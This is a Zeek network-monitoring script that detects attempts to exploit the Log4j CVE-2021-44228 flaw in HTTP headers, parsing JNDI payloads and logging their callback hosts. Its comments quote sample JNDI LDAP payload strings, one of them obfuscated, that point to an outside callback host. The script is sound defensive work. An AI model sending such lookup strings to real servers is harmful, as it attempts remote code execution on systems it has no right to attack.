CapOne-Zeek-Docker/capitalone/detect/CVE_2021_44228.zeek
Patrick Kelley 04da5c1250 Inital
2025-05-28 14:31:31 -04:00

128 lines
5.2 KiB
Plaintext

module CVE_2021_44228;
redef enum Notice::Type += {
LOG4J_ATTEMPT_HEADER,
LOG4J_SUCCESS
};
redef enum HTTP::Tags += {
LOG4J_RCE
};
redef enum Log::ID += { LOG };
type Info: record {
ts: time &log;
uid: string &log;
http_uri: string &log;
uri: string &log;
stem: string &log;
target_host: string &log;
target_port: string &log;
method: string &log;
is_orig: bool &log;
name: string &log;
value: string &log;
matched_name: bool &log;
matched_value: bool &log;
};
type PayloadParts: record {
uri: string;
stem: string;
host: string;
port_: string;
};
# Very general, FPs expected but we're casting a wide net intentionally.
global exploit_pattern: pattern = /\$\{/;
export {
option log = T;
}
# If split doesn't return the expected number of indices, return the default "-"
function safe_split1_w_default(s: string, p: pattern, idx: count, missing: string &default="-"): string
{
local tmp = split_string1(s, p);
if ( |tmp| > idx )
return tmp[idx];
else
return missing;
}
# Assumes `name` or `value` string passed as `s` has the structure:
# ${jdni:ldap://payload_host:payload_port/path} for the payload. Many examples
# of more complicated obfuscation exist. If the structure is different, fill
# missing fields with "-" so other structures in the wild can be explored in the
# logs. For example, Binary Edge are using the following type of obfuscation:
# ...value='${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}'
function parse_payload(s: string): PayloadParts
{
local tmp = split_string(s, /\/\//);
local last: string = "-";
if ( |tmp| > 0 )
last = tmp[(|tmp| - 1)];
local payload_uri = safe_split1_w_default(last, /\}/, 0);
local payload_stem = safe_split1_w_default(payload_uri, /\//, 0);
local payload_host = safe_split1_w_default(payload_stem, /\:/, 0);
local payload_port = safe_split1_w_default(payload_stem, /\:/, 1);
return PayloadParts($uri=payload_uri, $stem=payload_stem, $host=payload_host, $port_=payload_port);
}
event http_header(c: connection, is_orig: bool, name: string, value: string)
{
# Focus is mainly on client headers, but not filtering right now to explore interesting cases in the wild
# if (!is_orig)
# return;
# Focus is mainly on value of header, but adding 'name' to explore what is being used in the wild
local matched_name = exploit_pattern in name;
local matched_value = exploit_pattern in value;
# Ignore matches that contain binary goop. This was a large contributor to
# false positives.
if ( matched_name && !is_ascii(name) )
return;
if ( matched_value && !is_ascii(value) )
return;
add c$http$tags[LOG4J_RCE];
local payload: PayloadParts;
local info: Info;
# TODO: add to a clusterized set for watching of subsequent traffic (LOG4J_SUCCESS notice).
if ( matched_name )
{
payload = parse_payload(name);
info = Info($ts=network_time(), $uid=c$uid, $http_uri=c$http$uri, $uri=payload$uri, $stem=payload$stem, $target_host=payload$host, $target_port=payload$port_, $method=c$http$method, $is_orig=is_orig, $name=name, $value=value, $matched_name=matched_name, $matched_value=matched_value);
NOTICE([$note=LOG4J_ATTEMPT_HEADER,
$conn=c,
$identifier=cat(c$id$orig_h,c$id$resp_h,c$id$resp_p,cat(name,value)),
# $suppress_for=3600sec,
$msg=fmt("Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers"),
$sub=fmt("uri='%s', payload_uri=%s, payload_stem=%s, payload_host=%s, payload_port=%s, method=%s, is_orig=%s, header name='%s', header value='%s' ", c$http$uri, payload$uri, payload$stem, payload$host, payload$port_, c$http$method, is_orig, name, value)]);
if ( log )
Log::write(LOG, info);
}
if ( matched_value )
{
payload = parse_payload(value);
info = Info($ts=network_time(), $uid=c$uid, $http_uri=c$http$uri, $uri=payload$uri, $stem=payload$stem, $target_host=payload$host, $target_port=payload$port_, $method=c$http$method, $is_orig=is_orig, $name=name, $value=value, $matched_name=matched_name, $matched_value=matched_value);
NOTICE([$note=LOG4J_ATTEMPT_HEADER,
$conn=c,
$identifier=cat(c$id$orig_h,c$id$resp_h,c$id$resp_p,cat(name,value)),
# $suppress_for=3600sec,
$msg=fmt("Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers"),
$sub=fmt("uri='%s', payload_uri=%s, payload_stem=%s, payload_host=%s, payload_port=%s, method=%s, is_orig=%s, header name='%s', header value='%s' ", c$http$uri, payload$uri, payload$stem, payload$host, payload$port_, c$http$method, is_orig, name, value)]);
if ( log )
Log::write(LOG, info);
}
}
event zeek_init() &priority=5
{
if ( log )
Log::create_stream(CVE_2021_44228::LOG, [$columns=Info, $path="log4j"]);
}